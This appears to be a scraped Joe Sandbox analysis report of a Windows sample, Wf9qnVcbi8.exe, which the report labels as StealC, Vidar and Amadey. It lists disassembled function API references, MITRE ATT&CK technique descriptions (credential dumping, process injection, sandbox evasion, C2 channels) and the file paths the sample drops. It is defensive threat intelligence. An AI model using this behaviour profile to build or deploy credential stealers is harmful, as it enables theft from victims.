Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: de5be9f46434a5698280480c6dbc4bdbe3f9b1e5f5c23a8cb1b4e2abae6b74a6
Instruction ID: db83d7d1f82b26b2dca3435a49750e6c8d2dba79ca24067390bd3fe8c3c5610c
Opcode Fuzzy Hash: de5be9f46434a5698280480c6dbc4bdbe3f9b1e5f5c23a8cb1b4e2abae6b74a6
Instruction Fuzzy Hash: 2C51DE71A01256CFEB24DF58CD8066EB7B5FF85304F0586ADC85AAB700D731B904CBA1

Function 6C59DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C58FF2A), ref: 6C59DFFD

Part of subcall function 6C5990E0: free.MOZGLUE(?,00000000,?,?,6C59DEDB), ref: 6C5990FF
Part of subcall function 6C5990E0: free.MOZGLUE(?,00000000,?,?,6C59DEDB), ref: 6C599108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C58FF2A), ref: 6C59E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C58FF2A), ref: 6C59E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C58FF2A), ref: 6C59E0FE

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e3b8787731b34321844ced034f60045af22c39ae5cfae43ce05960e0d0bc4b87
Instruction ID: 77a147989172cf7cef502bfc4cd3c7c83588dfbaf07e7c84af469789335980e4
Opcode Fuzzy Hash: e3b8787731b34321844ced034f60045af22c39ae5cfae43ce05960e0d0bc4b87
Instruction Fuzzy Hash: 4B41C0B1604246CFEB14CF68CC8035A77B6BB45308F1549ADD516DB740E7B2E904CB92

Function 6C596E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C596EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C596EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C596F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C596F5C

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0f6eb16b3c856c26e2327fdf618b416732aac0719913f253835882168ae96b27
Instruction ID: 3a6f13e8c41bb0549f28ec7c815389083d0740335446168462c3dd20cea0dbae
Opcode Fuzzy Hash: 0f6eb16b3c856c26e2327fdf618b416732aac0719913f253835882168ae96b27
Instruction Fuzzy Hash: 4E310271A1060A8FDB44CF2CCD806AE73E9EB84344F50867DD41AD7655EF31E659CBA0

Function 6C5AB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C550A4D), ref: 6C5AB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C550A4D), ref: 6C5AB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C550A4D), ref: 6C5AB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C550A4D), ref: 6C5AB67F

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: ccfc9df25f1625b5a48859e9756ea8c3f62ca2e04d4cc344c662854669ae6c09
Instruction ID: 96df916b981d56c2a03f99b55ebc1ad6a0ab2263d113e034260577984b1d8b28
Opcode Fuzzy Hash: ccfc9df25f1625b5a48859e9756ea8c3f62ca2e04d4cc344c662854669ae6c09
Instruction Fuzzy Hash: 8031C871A012198FDB10DF99CC4465EB7F5FF81314F168669C806AB711EB31E916CBE1

Function 6C57F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C57F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C57F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C57F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C57F668

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 9595ba9977077b468b03ad2c1ab6881f08339fa2955b2de1902bfc0c70d2b22e
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 05313071A002149FC724CF5DCCD0A9E7BB5EFC4358B148639EA498BB05D731F9848BA4

Function 6C5926B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5926C1
free.MOZGLUE(?), ref: 6C5926E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5926FF
free.MOZGLUE ref: 6C59270D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 3959b8d915791b71771df4c16d858d0266007dc0bad6601ae3ddc33707317c30
Instruction ID: 73f46a784abc8e33d42530f0caf3c8a9777215824e3e65a7c1db6dc6e95dd8aa
Opcode Fuzzy Hash: 3959b8d915791b71771df4c16d858d0266007dc0bad6601ae3ddc33707317c30
Instruction Fuzzy Hash: F1F028B27012405BEB009F19DC88A4BB3ADFF4125CB510075EA1AD3F02E731FD19C6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Wf9qnVcbi8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AECAECFC

C:\ProgramData\AKJEGCFBGDHJJJJJKJEC

C:\ProgramData\AKJEGCFBGDHJJJJJKJECFCFCAA

C:\ProgramData\BGIIDAEB

C:\ProgramData\CFHDHIJDGCBAKFIEGHCBGHJDAF

C:\ProgramData\GCGHJEBGHJKEBFHIJDHC

C:\ProgramData\HIDAKFIJJKJJJKEBKJEHCBGDAK

C:\ProgramData\KEBFBGDGHIIJJKEBKJDBKECGII

C:\ProgramData\KJDGIJECFIEBFIDHCGHD

C:\ProgramData\freebl3.dll

Windows Analysis Report
Wf9qnVcbi8.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre